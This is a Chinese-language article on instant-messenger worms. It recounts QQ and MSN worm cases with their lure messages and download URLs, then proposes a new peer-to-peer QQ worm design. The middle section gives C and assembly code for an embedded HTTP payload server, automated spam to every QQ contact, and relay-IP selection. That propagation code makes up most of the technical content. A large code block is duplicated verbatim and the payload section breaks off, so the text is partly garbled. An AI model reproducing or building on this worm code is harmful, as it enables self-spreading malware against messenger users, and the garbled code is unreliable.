标题：qqworm病毒
QQ蠕虫病毒原理分析与防御
QQ蠕虫（qq worm virus）
背景
以QQ为代表的即时通讯软件，在网络时代迅速而轻易地赢得了无数用户的心，然后以更加惊人的速 度普及开去，目前，网络上使用QQ软件的注册人数已经超过1个亿，但树大招风，从今年病毒的发作情况来看，已经有将近100种QQ类型的病毒出现。由此可以看出，利用QQ这类即时通讯工具来进行传播的病毒，已经逐渐成为新病毒的流行趋势。
“爱情森林”
2002年8月25曰，瑞星全球病毒监控中心截获了一个传染能力极强的恶性QQ病毒——“爱情森林”（trojan.sckiss）。病毒的制作者利用QQ聊天机制，向用户发送“这个你去看看�很好看”的信息。如果用户收到此信息，并点击该链接，则会进入一个包含恶性攻击代码的恶意网页，此时病毒将会被自动下载并发作。同时，病毒还会利用用户的QQ好友名单，继续向外扩散而且病毒会侵占系统目录，继续“生生不息”。“爱情森林”病毒通过QQ发送信息之后，便开始进行本机的感染。
据悉，这种恶意网页用JS脚本语言编写，利用了JAVAEXPLOIT漏洞，所以不经用户的允许，便可以悄悄自动下载“爱情森林”病毒并执行。而后此恶意网页会修改用户注册表以进行破坏，并将用户的IE标题和IE默认首页改为：sckiss.yeah.net"target="_new">http://sckiss.yeah.net爱情森林。
“QQ伪装专家”
另一个名叫“QQ伪装专家”的新型恶性病毒会将真正的QQ程序改名，然后将自身伪装成QQ程序，并在桌面上建立快捷方式。用户点击这个快捷方式后，屏幕上会出现同真QQ一样的界面，当用户登录时，病毒便会将用户的QQ号码与密码偷偷发送到指定的邮箱，用句QQ迷们的语言就是，“你的QQ被黑了！”； 
在原理上，这个病毒和QQ毫无关系，只是利用人们对QQ 的熟悉性来欺骗用户而已。
必须注意的是，微软力推的一款即时通讯软件MSN Messenger，因为它与Windows系统的完美结合，用户群不在少数。2002年10月9曰下午，金山公司反病毒应急处理中心截获了一例通过MSN聊天工具进行广泛传播的电脑病毒“GFleming”，经证实，这是世界上第一例通过微软即时聊天工具MSN Messager进行大规模传播的电脑病毒。“GFleming”病毒的传播非常的迅速，一旦用户感染该病毒，该蠕虫会首先查看用户是否安装了MSN Messager并且已经登录。若用户已经登录，该蠕虫就会通过MSN Messager的对话窗口向所有联系人名单中的人发送欺骗性的信息: 
Hey!! Could you please check out this program for me?　 I made it myself and want people to test it. Its a readme with the program that explains what it does! http://home.no.net/downl0ad/BR2002.exe <-- There you can download it! give me advices on what to upgrade please!! 
收到该信息的用户不小心点击这个链接执行了这个蠕虫的话，蠕虫就会继续通过MSN Messager向其他联系人发送同样的信息，引起连锁反应，造成病毒的快速传播。
‘Cool Worm‘的病毒的欺骗消息是："Go To http://www.masenko-media.net/cool.html NoW !!!"点击这个连接会打开一个带有恶意Javascript程序的网站，他会抢夺受害者的好友名单，并且先每个人发送一个相同的邀请信息。这个信息同时也将地址发送电子邮件到名为mmargae@wanadoo.nl的信箱中。
类似的病毒还有几例，原理相同，这里不再一一枚举。
欺骗信息一般是邀请你去发送过来的网址去看看，如“看看这个，好东西 http://www.xxx.com/cool.html"。
从传播手段上看，病毒传播是一种C/S模式，即每台机器都是从指定的服务器下载，比如GFleming是，http://home.no.net;QQ密码记录器是http://xmc.nease.net；‘Cool Worm‘是http://www.masenko-media.net/.这种方法的局限性是，一旦网站被封闭，病毒也就寿终正寝，不攻自灭了。
基于P2P思想QQ蠕虫的原理
为了增强蠕虫的健壮性，这里提出一种新思路：每感染一台机器后，都会在本机创建一个最简单的http服务器，然后启动新线程，在新线程中寻找QQ的”发送消息“窗口，一旦找到，通过设置消息文本框的内容并控制”发送消息（&S)"按钮来达到发送欺骗性消息的目的。
当对方收到消息，点击连接后，就会启动IE,IE和第一台机器的http服务器通信，下载html页面并执行其中的vbs代码，vbs将自身拷贝到机器上并运行，蠕虫完成一次传播。然后在新感染的机器上创建http服务器，再向他的好友发送消息。
主要代码如下（为节约篇幅，省略不必要的初始化和错误判断）：
⒈ http服务器的实现 
LisenSocket　= socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 
saServer.sin_family = AF_INET; 
saServer.sin_port = htons（5058）； 
saServer.sin_addr.s_addr = INADDR_ANY; 
bind(LisenSocket,(LPSOCKADDR)&saServer,sizeof(struct sockaddr)); 
listen(LisenSocket,SOMAXCONN); 
CreateThread(0,0,(LPTHREAD_START_ROUTINE)SendQQMsg,0,0,0); 
while(TRUE) 
{ 
peerSocket=accept(LisenSocket,(LPSOCKADDR)&SockAddr,&nLen);SendFile(); 
} 
void SendFile() 
{ 
BYTE buf[1024]; 
DWORD ByteRead; 
：：SetFilePointer(hFile,0,0,FILE_BEGIN); 
ReadFile(hFile,buf,1024,&ByteRead,0); 
while(ByteRead) 
{ 
send(peerSocket,(const char *)buf,ByteRead,0); 
ReadFile(hFile,buf,1024,&ByteRead,0); 
} 
closesocket(peerSocket); 
} 
服务器在5058端口阻塞等待，不使用80，是避免防火墙对80号端口的敏感和限制。接受到来自远程的连接（由ie做客户端）后，把html文件传送过去，关闭连接。
⒉ 操作QQ线程的实现　 
1） 获得本机IP地址。
2） 等待出现“发送消息”窗口。
3） 获得这个窗口的QQ号，也就是这个好友的QQ号。判断是否已经向这个号发送过，如果是，则转1），不是则发送，并在注册表中登记。
4） 获得文本区句柄，设置新的消息。
5） 向“发送消息（&S)"按钮发送BM_CLICK消息，发送这条信息。转1）。
DWORD WINAPI　SendQQMsg(LPVOID lpParameter) 
{ 
HKEY　 hKey; 
char　 buf[256]; 
HWND　 hWnd,hTextWnd,hWndQQNumber,hWndButton; 
char　 QQRoot[]= "Software\\QQNums\\"; 
char　 QQRootNumber[128]; 
int　QQNumberID=0x0DF; 
POINT　p={50,280}; 
struct hostent * lpHostEnt; 
char　 szLocalIP[30]；　//形如http://202.118.224.2:5058 
gethostname(buf,256）； 
lpHostEnt = ::gethostbyname (buf); 
struct in_addr *ia=(struct in_addr *)lpHostEnt->h_addr; 
::lstrcpy(szLocalIP,"http://"); 
：：lstrcat(szLocalIP,inet_ntoa(*ia)); 
：：lstrcat(szLocalIP,":5058"); 
while(TRUE) 
{ 
：：Sleep（1000); 
hWnd = ::FindWindow(0,"发送消息"); 
if(hWnd==NULL) 
continue; 
hWndQQNumber=::GetDlgItem(hWnd,QQNumberID）；　 
if(hWndQQNumber==NULL) 
continue; 
::SendMessage(hWndQQNumber,WM_GETTEXT,256,(long)buf); 
::lstrcpy(QQRootNumber,QQRoot); 
::lstrcat(QQRootNumber,buf); 
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,QQRootNumber,0,
KEY_QUERY_VALUE,&hKey)!=ERROR_SUCCESS) 
{ 
RegCreateKey(HKEY_LOCAL_MACHINE,QQRootNumber,&hKey); 
hTextWnd = ::ChildWindowFromPointEx(hWnd,p,CWP_SKIPINⅥSIBLE); 
::SendMessage(hTextWnd,WM_SETTEXT,30,(long)szLocalIP); 
hWndButton = FindWindowEx(hWnd,0,0,"送讯息（&S)"); 
::SendMessage(hButton,BM_CLICK,0,0); 
} 
} 
return 1; 
} 
⒊ 发送html页面的实现. 
因为IE识别的是html，而不能执行exe.所以，html要包含exe.然后利用html内嵌的vbs，生成并运行exe，从而达到传播的目的。
可是，对exe编码和解码具有一定的难度，如何才能使代码最简练，最节约空间呢？这里给出一种新思路。
5） 向“发送消息（&S)"按钮发送BM_CLICK消息，发送这条信息。转1）。
DWORD WINAPI　SendQQMsg(LPVOID lpParameter) 
{ 
HKEY　 hKey; 
char　 buf[256]; 
HWND　 hWnd,hTextWnd,hWndQQNumber,hWndButton; 
char　 QQRoot[]= "Software\\QQNums\\"; 
char　 QQRootNumber[128]; 
int　QQNumberID=0x0DF; 
POINT　p={50,280}; 
struct hostent * lpHostEnt; 
char　 szLocalIP[30]；　//形如http://202.118.224.2:5058 
gethostname(buf,256）； 
lpHostEnt = ::gethostbyname (buf); 
struct in_addr *ia=(struct in_addr *)lpHostEnt->h_addr; 
::lstrcpy(szLocalIP,"http://"); 
：：lstrcat(szLocalIP,inet_ntoa(*ia)); 
：：lstrcat(szLocalIP,":5058"); 
while(TRUE) 
{ 
：：Sleep（1000); 
hWnd = ::FindWindow(0,"发送消息"); 
if(hWnd==NULL) 
continue; 
hWndQQNumber=::GetDlgItem(hWnd,QQNumberID）；　 
if(hWndQQNumber==NULL) 
continue; 
::SendMessage(hWndQQNumber,WM_GETTEXT,256,(long)buf); 
::lstrcpy(QQRootNumber,QQRoot); 
::lstrcat(QQRootNumber,buf); 
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,QQRootNumber,0,
KEY_QUERY_VALUE,&hKey)!=ERROR_SUCCESS) 
{ 
RegCreateKey(HKEY_LOCAL_MACHINE,QQRootNumber,&hKey); 
hTextWnd = ::ChildWindowFromPointEx(hWnd,p,CWP_SKIPINⅥSIBLE); 
::SendMessage(hTextWnd,WM_SETTEXT,30,(long)szLocalIP); 
hWndButton = FindWindowEx(hWnd,0,0,"送讯息（&S)"); 
::SendMessage(hButton,BM_CLICK,0,0); 
} 
} 
return 1; 
} 
⒋ 发送html页面的实现. 
因为IE识别的是html，而不能执行exe.所以，html要包含exe.然后利用html内嵌的vbs，生成并运行exe，从而达到传播的目的。
可是，对exe编码和解码具有一定的难度，如何才能使代码最简练，最节约空间呢？这里给出一种新思路。
5．这样，当机器处于内网时，会向好友发出http://trueip:80的消息，对方则向trueip发出连接而不是内网的机器，和DRDos相似。代码如下：
IsActiveIP　 PROC　 IP　 : DWORD 
LOCAL　VSocket　： DWORD 
push　 ecx 
push　 IPPROTO_TCP 
push　 SOCK_STREAM 
push　 AF_INET 
call　 socket 
mov　VSocket,eax 
push　 IP 
pop　TestIP 
push　 sizeof(sockaddr）　； Size of connect strucure=16 
call　 IAI1　； Connect structure 
dw　 AF_INET　 ; Family 
db　 0,80　； Port number,avoid htons :) 
TestIP　dd　 0　 ; in_addr of server 
db　 8 dup(0）　； Unused 
IAI1: 
push　 VSocket 
call　 connect　 ;ret 0 if sucess 
push　 eax 
push　 VSocket 
call　 closesocket 
pop　eax 
pop　ecx 
ret　4 
IsActiveIP　 ENDP 
SelectTrueIP：　 
push　64 
pop　 ecx 
mov　 esi,offset TrueIPList 
STI1：　 lodsd　 
push　eax 
call　IsActiveIP　；ret 0 if sucess 
.if　 eax　 == 0　 
sub　 esi,4 
lodsd　 
jmp　 STIExit 
.else　 
loop　STI1 
.endif　 
xor　 eax,eax 
STIExit: 
ret 
UpdateTrueIP　PROC　 TrueIP : DWORD 
push　64 
pop　 ecx 
mov　 esi,offset TrueIPList 
UT1：　lodsd 
.if　 eax == 0 
push　TrueIP 
pop　 [esi-4] 
jmp　 UTExit 
.else 
loop　UT1　 
.endif 
push　64 
pop　 ecx 
mov　 esi,offset TrueIPList 
UT2：　 
lodsd 
push　eax 
call　IsActiveIP　；ret 0 if sucess 
.if　 eax　 != 0　 
push　TrueIP 
pop　 [esi-4]　 
jmp　 UTExit 
.else　 
loop　UT1　 
.endif 
UTExit：　 
mov　 eax,TrueIP 
ret　 4　 
UpdateTrueIP　ENDP 
TrueIPList　db　 256　dup (0)
扩展
若把这种方法同时也应用到ICQ,MSN等IM软件，http服务器不变，只是查找发送消息窗口有所不同，但原理一样，只需要少量修改。再有一个SendMSNMsg和SendICQMsg线程即可。考虑到IM软件同时在线人数之多，再辅助以邮件等常规手段，传播速度十分可观。
防范措施
1、注意在线传输：常用的通讯软件如ICQ、QQ、MSN Message均提供了在线传输功能，来源不可靠的传输内容请拒绝接收；即便可靠，接收后也要经过杀毒软件的扫描方能运行。
2、小心页面链接：
如果用户在使用聊天软件时不小心上当，点击了不明网页链接，电脑就会在使用者完全不知情的情况下，从许多网站下载文件并自动运行。所以，千万别打开陌生人传来的页面链接！如果是好友送来的连接，要询问、确认后打开。这不是谁的漏洞，就象DDos攻击一样，是不可避免的正常危机。
结束语
QQ和MSN受到病毒侵袭的事件再一次强调了互联网世界真实的一面——任何流行的电脑程序最终都会成为被攻击的目标。　 
今后，我们不排除会有像CIH这样的恶性病毒通过QQ、ICQ、MSN等渠道进行广泛传播的可能，因此，加强对即时通讯软件的监控和保护是当务之急。
病毒正试图把触角延伸到所有可能的领域。与刚刚开始的攻击即时通讯软件的病毒一样，虽然手机病毒，PDA病毒等都还属于新兴“毒种”，病毒传播、侵害模式尚且属于萌芽状态，但是稍许的掉以轻心，都可能会导致巨大的不可挽回的损失。防患于未然，才是反病毒的大计。